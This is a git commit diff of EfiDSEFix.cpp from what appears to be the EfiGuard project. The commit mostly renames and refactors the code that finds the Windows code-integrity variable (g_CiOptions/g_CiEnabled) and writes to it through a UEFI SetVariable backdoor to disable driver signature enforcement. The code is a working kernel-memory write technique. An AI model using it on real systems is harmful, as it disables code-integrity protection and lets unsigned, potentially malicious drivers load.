aboutsummaryrefslogtreecommitdiff
path: root/Application/EfiDSEFix/src/EfiDSEFix.cpp
diff options
context:
space:
mode:
Diffstat (limited to 'Application/EfiDSEFix/src/EfiDSEFix.cpp')
-rw-r--r--Application/EfiDSEFix/src/EfiDSEFix.cpp165
1 files changed, 41 insertions, 124 deletions
diff --git a/Application/EfiDSEFix/src/EfiDSEFix.cpp b/Application/EfiDSEFix/src/EfiDSEFix.cpp
index 924f759..03bfbba 100644
--- a/Application/EfiDSEFix/src/EfiDSEFix.cpp
+++ b/Application/EfiDSEFix/src/EfiDSEFix.cpp
@@ -31,11 +31,11 @@ FindKernelModule(
for (ULONG i = 0; i < Modules->NumberOfModules; ++i)
{
- RTL_PROCESS_MODULE_INFORMATION Module = Modules->Modules[i];
- if (_stricmp(ModuleName, reinterpret_cast<PCHAR>(Module.FullPathName) + Module.OffsetToFileName) == 0)
+ const PRTL_PROCESS_MODULE_INFORMATION Module = &Modules->Modules[i];
+ if (_stricmp(ModuleName, reinterpret_cast<PCHAR>(Module->FullPathName) + Module->OffsetToFileName) == 0)
{
- *ModuleBase = reinterpret_cast<ULONG_PTR>(Module.ImageBase);
- Status = Module.ImageBase == nullptr ? STATUS_NOT_FOUND : STATUS_SUCCESS;
+ *ModuleBase = reinterpret_cast<ULONG_PTR>(Module->ImageBase);
+ Status = Module->ImageBase == nullptr ? STATUS_NOT_FOUND : STATUS_SUCCESS;
break;
}
}
@@ -48,7 +48,7 @@ Exit:
// For Windows Vista/7. Credits: DSEFix by hfiref0x
static
LONG
-QueryCiEnabled(
+FindCiEnabled(
_In_ PVOID MappedBase,
_In_ SIZE_T SizeOfImage,
_In_ ULONG_PTR KernelBase,
@@ -73,7 +73,7 @@ QueryCiEnabled(
// For Windows 8 and worse. Credits: DSEFix by hfiref0x
static
LONG
-QueryCiOptions(
+FindCiOptions(
_In_ PVOID MappedBase,
_In_ ULONG_PTR CiDllBase,
_Out_ PULONG_PTR gCiOptionsAddress
@@ -183,34 +183,8 @@ QueryCiOptions(
}
static
-BOOLEAN
-QueryVbsEnabled(
- )
-{
- SYSTEM_CODEINTEGRITY_INFORMATION CodeIntegrityInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
- NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
- &CodeIntegrityInfo,
- sizeof(CodeIntegrityInfo),
- nullptr);
- if (NT_SUCCESS(Status) &&
- (CodeIntegrityInfo.CodeIntegrityOptions & (CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED | CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED)) != 0)
- return TRUE;
-
- SYSTEM_ISOLATED_USER_MODE_INFORMATION IumInfo = { 0 };
- Status = NtQuerySystemInformation(SystemIsolatedUserModeInformation,
- &IumInfo,
- sizeof(IumInfo),
- nullptr);
- if (NT_SUCCESS(Status) &&
- (IumInfo.SecureKernelRunning || IumInfo.HvciEnabled))
- return TRUE;
-
- return FALSE;
-}
-
-static
NTSTATUS
-AnalyzeCi(
+FindCiOptionsVariable(
_Out_ PVOID *CiOptionsAddress
)
{
@@ -243,7 +217,7 @@ AnalyzeCi(
goto Exit;
ULONG_PTR gCiOptionsAddress;
- const LONG Relative = QueryCiOptions(MappedBase, CiDllBase, &gCiOptionsAddress);
+ const LONG Relative = FindCiOptions(MappedBase, CiDllBase, &gCiOptionsAddress);
if (Relative != 0)
{
*CiOptionsAddress = reinterpret_cast<PVOID>(gCiOptionsAddress);
@@ -263,7 +237,7 @@ AnalyzeCi(
goto Exit;
ULONG_PTR gCiEnabledAddress;
- const LONG Relative = QueryCiEnabled(MappedBase, ViewSize, KernelBase, &gCiEnabledAddress);
+ const LONG Relative = FindCiEnabled(MappedBase, ViewSize, KernelBase, &gCiEnabledAddress);
if (Relative != 0)
{
*CiOptionsAddress = reinterpret_cast<PVOID>(gCiEnabledAddress);
@@ -281,47 +255,29 @@ Exit:
}
static
-NTSTATUS
-SetSystemEnvironmentPrivilege(
- _In_ BOOLEAN Enable,
- _Out_opt_ PBOOLEAN WasEnabled
- )
-{
- if (WasEnabled != nullptr)
- *WasEnabled = FALSE;
-
- BOOLEAN SeSystemEnvironmentWasEnabled;
- const NTSTATUS Status = RtlAdjustPrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE,
- Enable,
- FALSE,
- &SeSystemEnvironmentWasEnabled);
-
- if (NT_SUCCESS(Status) && WasEnabled != nullptr)
- *WasEnabled = SeSystemEnvironmentWasEnabled;
-
- return Status;
-}
-
-static
-NTSTATUS
-SetDebugPrivilege(
- _In_ BOOLEAN Enable,
- _Out_opt_ PBOOLEAN WasEnabled
+BOOLEAN
+IsVbsEnabled(
)
{
- if (WasEnabled != nullptr)
- *WasEnabled = FALSE;
-
- BOOLEAN SeDebugWasEnabled;
- const NTSTATUS Status = RtlAdjustPrivilege(SE_DEBUG_PRIVILEGE,
- Enable,
- FALSE,
- &SeDebugWasEnabled);
+ SYSTEM_CODEINTEGRITY_INFORMATION CodeIntegrityInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
+ NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
+ &CodeIntegrityInfo,
+ sizeof(CodeIntegrityInfo),
+ nullptr);
+ if (NT_SUCCESS(Status) &&
+ (CodeIntegrityInfo.CodeIntegrityOptions & (CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED | CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED)) != 0)
+ return TRUE;
- if (NT_SUCCESS(Status) && WasEnabled != nullptr)
- *WasEnabled = SeDebugWasEnabled;
+ SYSTEM_ISOLATED_USER_MODE_INFORMATION IumInfo = { 0 };
+ Status = NtQuerySystemInformation(SystemIsolatedUserModeInformation,
+ &IumInfo,
+ sizeof(IumInfo),
+ nullptr);
+ if (NT_SUCCESS(Status) &&
+ (IumInfo.SecureKernelRunning || IumInfo.HvciEnabled))
+ return TRUE;
- return Status;
+ return FALSE;
}
NTSTATUS
@@ -330,24 +286,9 @@ TestSetVariableHook(
{
UINT16 Mz;
- // Enable privileges in case we were called directly from the CLI with --check
- BOOLEAN SeSystemEnvironmentWasEnabled, SeDebugWasEnabled;
- NTSTATUS Status = SetSystemEnvironmentPrivilege(TRUE, &SeSystemEnvironmentWasEnabled);
- if (!NT_SUCCESS(Status))
+ if (IsVbsEnabled())
{
- Printf(L"Fatal error: failed to acquire SE_SYSTEM_ENVIRONMENT_PRIVILEGE. Make sure you are running as administrator.\n");
- return Status;
- }
- Status = SetDebugPrivilege(TRUE, &SeDebugWasEnabled);
- if (!NT_SUCCESS(Status))
- {
- Printf(L"Fatal error: failed to acquire SE_DEBUG_PRIVILEGE. Make sure you are running as administrator.\n");
- return Status;
- }
-
- if (QueryVbsEnabled())
- {
- Printf(L"Fatal error: VBS (Virtualization Based Security) is enabled and running on this system.\n"
+ Printf(L"Error: VBS (Virtualization Based Security) is enabled and running on this system.\n"
"Attempting to read or write to or from kernel space using EFI runtime services will result in a bugcheck.\n"
"Either the EfiGuard DXE driver is not loaded, or it failed to disable VBS during boot.\n"
"Not continuing.\n");
@@ -356,19 +297,18 @@ TestSetVariableHook(
// Find some kernel address to read
ULONG_PTR HalBase;
- Status = FindKernelModule("hal.dll", &HalBase);
+ NTSTATUS Status = FindKernelModule("hal.dll", &HalBase);
if (!NT_SUCCESS(Status))
return Status;
- // Set up the struct for a backdoor kernel mode read. See TriggerExploit for explanations
+ // Set up the struct for a backdoor kernel mode read. See WriteToCiOptions for explanations
EFIGUARD_BACKDOOR_DATA BackdoorData;
RtlZeroMemory(&BackdoorData, sizeof(BackdoorData));
BackdoorData.CookieValue = EFIGUARD_BACKDOOR_COOKIE_VALUE;
BackdoorData.KernelAddress = reinterpret_cast<PVOID>(HalBase);
BackdoorData.u.Qword = UINT64_MAX; // Bogus value to verify write-back after the read operation
- BackdoorData.IsMemCopy = FALSE;
- BackdoorData.IsReadOperation = TRUE;
BackdoorData.Size = sizeof(UINT16);
+ BackdoorData.ReadOnly = TRUE;
// Call SetVariable()
UNICODE_STRING VariableName = RTL_CONSTANT_STRING(EFIGUARD_BACKDOOR_VARIABLE_NAME);
@@ -397,7 +337,7 @@ TestSetVariableHook(
if (!NT_SUCCESS(Status))
{
Printf(L"The EfiGuard DXE driver is either not loaded in SETVARIABLE_HOOK mode, or it is malfunctioning.\n");
- goto Exit;
+ return Status;
}
// Check if hal.dll still starts with "MZ"
@@ -409,16 +349,12 @@ TestSetVariableHook(
Status = STATUS_INVALID_IMAGE_NOT_MZ; // Literally
}
-Exit:
- SetSystemEnvironmentPrivilege(SeSystemEnvironmentWasEnabled, nullptr);
- SetDebugPrivilege(SeDebugWasEnabled, nullptr);
-
return Status;
}
static
NTSTATUS
-TriggerExploit(
+WriteToCiOptions(
_In_ PVOID CiVariableAddress,
_In_ ULONG CiOptionsValue,
_Out_opt_ PULONG OldCiOptionsValue,
@@ -447,9 +383,8 @@ TriggerExploit(
BackdoorData.u.s.Dword = static_cast<UINT32>(CiOptionsValue);
else if (CiPatchSize == sizeof(UINT8))
BackdoorData.u.s.Byte = static_cast<UINT8>(CiOptionsValue);
- BackdoorData.IsMemCopy = FALSE; // This is a scalar operation, not memcpy
- BackdoorData.IsReadOperation = ReadOnly; // Specify whether this is a read or a write operation
- BackdoorData.Size = CiPatchSize; // This value determines the field (Byte/Word/Dword/Qword) that the value to write will be read from, and written to on return
+ BackdoorData.Size = CiPatchSize; // Determines which field the value will be read/written from/to
+ BackdoorData.ReadOnly = ReadOnly; // Whether this is a read or read + write
// Call NtSetSystemEnvironmentValueEx -> [...] -> hal!HalSetEnvironmentVariableEx -> hal!HalEfiSetEnvironmentVariable -> EfiRT->SetVariable.
// On Windows >= 8 it is possible to use SetFirmwareEnvironmentVariableExW. We use the syscall directly because it exists on Windows 7 and Vista.
@@ -475,6 +410,8 @@ TriggerExploit(
*OldCiOptionsValue = OldCiOptions;
}
+ RtlZeroMemory(&BackdoorData, sizeof(BackdoorData));
+
return STATUS_SUCCESS;
}
@@ -488,38 +425,18 @@ AdjustCiOptions(
if (OldCiOptionsValue != nullptr)
*OldCiOptionsValue = CODEINTEGRITY_OPTION_ENABLED;
- // Enable privileges
- BOOLEAN SeSystemEnvironmentWasEnabled, SeDebugWasEnabled;
- NTSTATUS Status = SetSystemEnvironmentPrivilege(TRUE, &SeSystemEnvironmentWasEnabled);
- if (!NT_SUCCESS(Status))
- {
- Printf(L"Fatal error: failed to acquire SE_SYSTEM_ENVIRONMENT_PRIVILEGE. Make sure you are running as administrator.\n");
- return Status;
- }
- Status = SetDebugPrivilege(TRUE, &SeDebugWasEnabled);
- if (!NT_SUCCESS(Status))
- {
- Printf(L"Fatal error: failed to acquire SE_DEBUG_PRIVILEGE. Make sure you are running as administrator.\n");
- return Status;
- }
-
// Find CI!g_CiOptions/nt!g_CiEnabled
PVOID CiOptionsAddress;
- Status = AnalyzeCi(&CiOptionsAddress);
+ NTSTATUS Status = FindCiOptionsVariable(&CiOptionsAddress);
if (!NT_SUCCESS(Status))
return Status;
Printf(L"%ls at 0x%p.\n", (NtCurrentPeb()->OSBuildNumber >= 9200 ? L"CI!g_CiOptions" : L"nt!g_CiEnabled"), CiOptionsAddress);
// Enable/disable CI
- Status = TriggerExploit(CiOptionsAddress,
+ Status = WriteToCiOptions(CiOptionsAddress,
CiOptionsValue,
OldCiOptionsValue,
ReadOnly);
-
- // Revert privileges
- SetSystemEnvironmentPrivilege(SeSystemEnvironmentWasEnabled, nullptr);
- SetDebugPrivilege(SeDebugWasEnabled, nullptr);
-
return Status;
}